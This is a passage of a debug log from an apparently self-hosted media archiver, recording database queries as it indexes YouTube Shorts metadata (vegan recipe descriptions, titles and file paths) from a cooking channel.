WHERE (s0."id" IN (?)) [1] 20:30:19.222 [debug] QUERY OK source="sources" db=1.1ms idle=632.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:19.225 [debug] QUERY OK source="media_items" db=2.9ms idle=633.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-19 00:00:12Z], 1] 20:30:19.227 [debug] QUERY OK source="media_items" db=1.1ms idle=636.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["First up in my #easyveganlunch series ✨ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DRESSING✨\n\nNourishing - filling - fun to make! An easy vegan lunch idea\n\nIf you’ve never made salad rolls before, this is your sign 😉 For full recipe and instructions, head to my EASY VEGAN LUNCH IDEAS VIDEO: https://youtu.be/-q-Al8ffyEg \n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe on my blog: https://steamyvegankitchen.com/asian-inspired-tofu-salad-rolls/ \n\nTofu marinade:\n🔸2 tbsp GF soy sauce or tamari \n🔸 2 tbsp maple syrup \n🔸 2 tbsp sesame oil \n🔸 dash of cayenne pepper \n\nVeggies I used:\n🔸 Carrot\n🔸 Zucchini \n🔸 Daikon radish \n🔸 Red onion \n🔸 Spinach \n\nDipping sauce: \n🔸 2 tbsp tahini \n🔸 2 tbsp tamari \n🔸 juice of 1/2 a lemon \n🔸 1 tsp sweetener \n\n1. Combine all marinade ingredients in a jar, shake well and pour over sliced tofu in a ziploc bag and marinate for 20 mins up to overnight.\n2. Bake tofu for 40 mins at 425F on top rack, turning halfway through. \n3. Thinly slice all your veggies. Run rice paper sheets (will need 8 total) through warm water and roll up the veggies and tofu (slice each piece in half) inside like a burrito. Set aside.\n4. Combine all dipping sauce ingredients in a small bowl. Dip, dip hooray! Enjoy your salad rolls 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱", "d388281b-138c-4bc0-ad40-60e5caafd790", 1, [], 59, false, "TwRn_K-ZTW0", "https://www.youtube.com/shorts/TwRn_K-ZTW0", 443, "/downloads/downloads/alec/Steamy Vegan/2022-05-19 ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱/ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱 [TwRn_K-ZTW0].NA", false, false, true, 2, ~U[2022-05-19 00:00:12Z], ~U[2026-03-22 03:30:19Z], ~U[2026-03-22 03:30:19Z], "First up in my #easyveganlunch series ✨ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DRESSING✨\n\nNourishing - filling - fun to make! An easy vegan lunch idea\n\nIf you’ve never made salad rolls before, this is your sign 😉 For full recipe and instructions, head to my EASY VEGAN LUNCH IDEAS VIDEO: https://youtu.be/-q-Al8ffyEg \n\nSAVE THIS RECIPE TO MAKE LATER! ✅ Full recipe on my blog: https://steamyvegankitchen.com/asian-inspired-tofu-salad-rolls/ \n\nTofu marinade:\n🔸2 tbsp GF soy sauce or tamari \n🔸 2 tbsp maple syrup \n🔸 2 tbsp sesame oil \n🔸 dash of cayenne pepper \n\nVeggies I used:\n🔸 Carrot\n🔸 Zucchini \n🔸 Daikon radish \n🔸 Red onion \n🔸 Spinach \n\nDipping sauce: \n🔸 2 tbsp tahini \n🔸 2 tbsp tamari \n🔸 juice of 1/2 a lemon \n🔸 1 tsp sweetener \n\n1. Combine all marinade ingredients in a jar, shake well and pour over sliced tofu in a ziploc bag and marinate for 20 mins up to overnight.\n2. Bake tofu for 40 mins at 425F on top rack, turning halfway through. \n3. Thinly slice all your veggies. Run rice paper sheets (will need 8 total) through warm water and roll up the veggies and tofu (slice each piece in half) inside like a burrito. Set aside.\n4. Combine all dipping sauce ingredients in a small bowl. Dip, dip hooray! Enjoy your salad rolls 😉\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking\n\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱", 1, 59, false, "TwRn_K-ZTW0", "https://www.youtube.com/shorts/TwRn_K-ZTW0", "/downloads/downloads/alec/Steamy Vegan/2022-05-19 ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱/ASIAN-INSPIRED TOFU SALAD ROLLS with LEMON TAHINI DIPPING SAUCE! An easy vegan lunch idea 🌱 [TwRn_K-ZTW0].NA", true, ~U[2022-05-19 00:00:12Z]] 20:30:19.228 [debug] QUERY OK source="sources" db=0.2ms idle=576.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:19.228 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:19.228 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [832] 20:30:19.229 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Check out our full video with much better hangover foods then this one, link below. We thought it would be hilarious for Brad to have a bunch of tequila shots and then we filmed this hangover foods episode. Definitely a few regrets after making this but hopefully some of the advice will help you with your hangover the next day!\n\nFull YouTube Video: https://youtu.be/gGDt_fft5sQ", "duration" => 38, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-18 The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts/The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts [kpKhtQ3MT_I].NA", "id" => "kpKhtQ3MT_I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/kpKhtQ3MT_I", "playlist_index" => 444, "timestamp" => 1652917927, "title" => "The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts", "upload_date" => "20220518"} 20:30:19.230 [debug] QUERY OK source="sources" db=0.7ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:19.230 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:19.232 [debug] QUERY OK source="media_items" db=1.8ms idle=2.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 23:52:07Z], 1] 20:30:19.233 [debug] QUERY OK source="media_items" db=0.7ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full video with much better hangover foods then this one, link below. We thought it would be hilarious for Brad to have a bunch of tequila shots and then we filmed this hangover foods episode. Definitely a few regrets after making this but hopefully some of the advice will help you with your hangover the next day!\n\nFull YouTube Video: https://youtu.be/gGDt_fft5sQ", "The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts", "58ee578b-76d0-4a09-8b65-ab6318433bd5", 1, [], 38, false, "kpKhtQ3MT_I", "https://www.youtube.com/shorts/kpKhtQ3MT_I", 444, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts/The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts [kpKhtQ3MT_I].NA", false, false, true, 0, ~U[2022-05-18 23:52:07Z], ~U[2026-03-22 03:30:19Z], ~U[2026-03-22 03:30:19Z], "Check out our full video with much better hangover foods then this one, link below. We thought it would be hilarious for Brad to have a bunch of tequila shots and then we filmed this hangover foods episode. Definitely a few regrets after making this but hopefully some of the advice will help you with your hangover the next day!\n\nFull YouTube Video: https://youtu.be/gGDt_fft5sQ", "The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts", 1, 38, false, "kpKhtQ3MT_I", "https://www.youtube.com/shorts/kpKhtQ3MT_I", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts/The Ultimate Hangover Food: Spicy Mac'N Cheese #shorts [kpKhtQ3MT_I].NA", true, ~U[2022-05-18 23:52:07Z]] 20:30:19.234 [debug] QUERY OK source="sources" db=0.4ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:19.234 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:19.235 [debug] QUERY OK source="media_items" db=0.3ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [833] 20:30:19.235 [debug] Current batch of media processed. Will check again in 1000ms 20:30:20.236 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I think I’ve found the perfect rice. 😭 It’s all I can think about! Hnnngggg 🤤🤤🤤\n\nCHIPOTLE COCONUT GINGER RICE 🔸 INSTANT POT🔸\n1 chipotle pepper in adobo sauce, minced \n2 inch chunk ginger, minced \n2 cups full fat coconut milk \n2 cups water or veggie broth\n2 cups white basmati rice \nZest of 1 lime \n3/4 tsp salt \n\n1. Press SAUTÉ function on IP: Sauté the chipotle pepper and minced ginger in 1 tbsp oil on medium heat for 5 minutes until it is fragrant and golden. \n2. Hit CANCEL: add the coconut milk, veggie broth, rice and lime zest, and stir well. \n3. Seal the lid, hit the RICE function and set timer for 10 minutes. Once done cooking, let sit for 10 minutes and then do a QUICK RELEASE. Fluff rice with a fork and DEVOUR THAT SH*T!! \n\nYou won’t regret it 😍 SUBSCRIBE FOR MORE EASY VEGAN RECIPES! \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #ricelover #instantpotvegan", "duration" => 7, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-18 CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥/CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥 [pRI0Be-sM8w].NA", "id" => "pRI0Be-sM8w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/pRI0Be-sM8w", "playlist_index" => 445, "timestamp" => 1652900414, "title" => "CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥", "upload_date" => "20220518"} 20:30:20.237 [debug] QUERY OK source="sources" db=0.5ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:20.238 [debug] QUERY OK source="sources" db=0.4ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:20.240 [debug] QUERY OK source="media_items" db=2.1ms idle=1004.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-18 19:00:14Z], 1] 20:30:20.242 [debug] QUERY OK source="media_items" db=0.9ms idle=1006.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I think I’ve found the perfect rice. 😭 It’s all I can think about! Hnnngggg 🤤🤤🤤\n\nCHIPOTLE COCONUT GINGER RICE 🔸 INSTANT POT🔸\n1 chipotle pepper in adobo sauce, minced \n2 inch chunk ginger, minced \n2 cups full fat coconut milk \n2 cups water or veggie broth\n2 cups white basmati rice \nZest of 1 lime \n3/4 tsp salt \n\n1. Press SAUTÉ function on IP: Sauté the chipotle pepper and minced ginger in 1 tbsp oil on medium heat for 5 minutes until it is fragrant and golden. \n2. Hit CANCEL: add the coconut milk, veggie broth, rice and lime zest, and stir well. \n3. Seal the lid, hit the RICE function and set timer for 10 minutes. Once done cooking, let sit for 10 minutes and then do a QUICK RELEASE. Fluff rice with a fork and DEVOUR THAT SH*T!! \n\nYou won’t regret it 😍 SUBSCRIBE FOR MORE EASY VEGAN RECIPES! \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #ricelover #instantpotvegan", "CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥", "43c27478-4f20-4735-b140-f77b7b6f2423", 1, [], 7, false, "pRI0Be-sM8w", "https://www.youtube.com/shorts/pRI0Be-sM8w", 445, "/downloads/downloads/alec/Steamy Vegan/2022-05-18 CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥/CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥 [pRI0Be-sM8w].NA", false, false, true, 1, ~U[2022-05-18 19:00:14Z], ~U[2026-03-22 03:30:20Z], ~U[2026-03-22 03:30:20Z], "I think I’ve found the perfect rice. 😭 It’s all I can think about! Hnnngggg 🤤🤤🤤\n\nCHIPOTLE COCONUT GINGER RICE 🔸 INSTANT POT🔸\n1 chipotle pepper in adobo sauce, minced \n2 inch chunk ginger, minced \n2 cups full fat coconut milk \n2 cups water or veggie broth\n2 cups white basmati rice \nZest of 1 lime \n3/4 tsp salt \n\n1. Press SAUTÉ function on IP: Sauté the chipotle pepper and minced ginger in 1 tbsp oil on medium heat for 5 minutes until it is fragrant and golden. \n2. Hit CANCEL: add the coconut milk, veggie broth, rice and lime zest, and stir well. \n3. Seal the lid, hit the RICE function and set timer for 10 minutes. Once done cooking, let sit for 10 minutes and then do a QUICK RELEASE. Fluff rice with a fork and DEVOUR THAT SH*T!! \n\nYou won’t regret it 😍 SUBSCRIBE FOR MORE EASY VEGAN RECIPES! \n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare #instavegan #vegansofig #vegansofinstagram #ricelover #instantpotvegan", "CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥", 1, 7, false, "pRI0Be-sM8w", "https://www.youtube.com/shorts/pRI0Be-sM8w", "/downloads/downloads/alec/Steamy Vegan/2022-05-18 CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥/CHIPOTLE COCONUT GINGER RICE 🍚 make this is your instant pot! 🌶 🥥 [pRI0Be-sM8w].NA", true, ~U[2022-05-18 19:00:14Z]] 20:30:20.242 [debug] QUERY OK source="sources" db=0.5ms idle=588.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:20.243 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:20.244 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [834] 20:30:20.244 [debug] Current batch of media processed. Will check again in 1000ms 20:30:21.245 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "You can have your cheat meal and eat it too 😉 but #makeitvegan These LOADED VEGAN PEROGIES with SPICY CHORIZO are gluten-free and flavourFULL! \n\nVegan + gluten-free cheddar perogies \nVegan sour cream @realcanadiansuperstore \nVegan gluten-free chorizo @realcanadiansuperstore \nCaramelized onions\nDiced green onions\n\nSUBSCRIBE to @steamyvegankitchen for more easy vegan recipes! 🌱\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #vancitybuzzfood #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwastye #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-18 LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵/LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵 [g39_M1HC8WI].NA", "id" => "g39_M1HC8WI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/g39_M1HC8WI", "playlist_index" => 446, "timestamp" => 1652886033, "title" => "LOADED VEGAN PEROGIES with SPICY CHORIZO 🥵", "upload_date" => "20220518"} 20:30:21.246 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:21.247 [debug] QUERY OK source="sources" db=0.4ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:21.249 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = 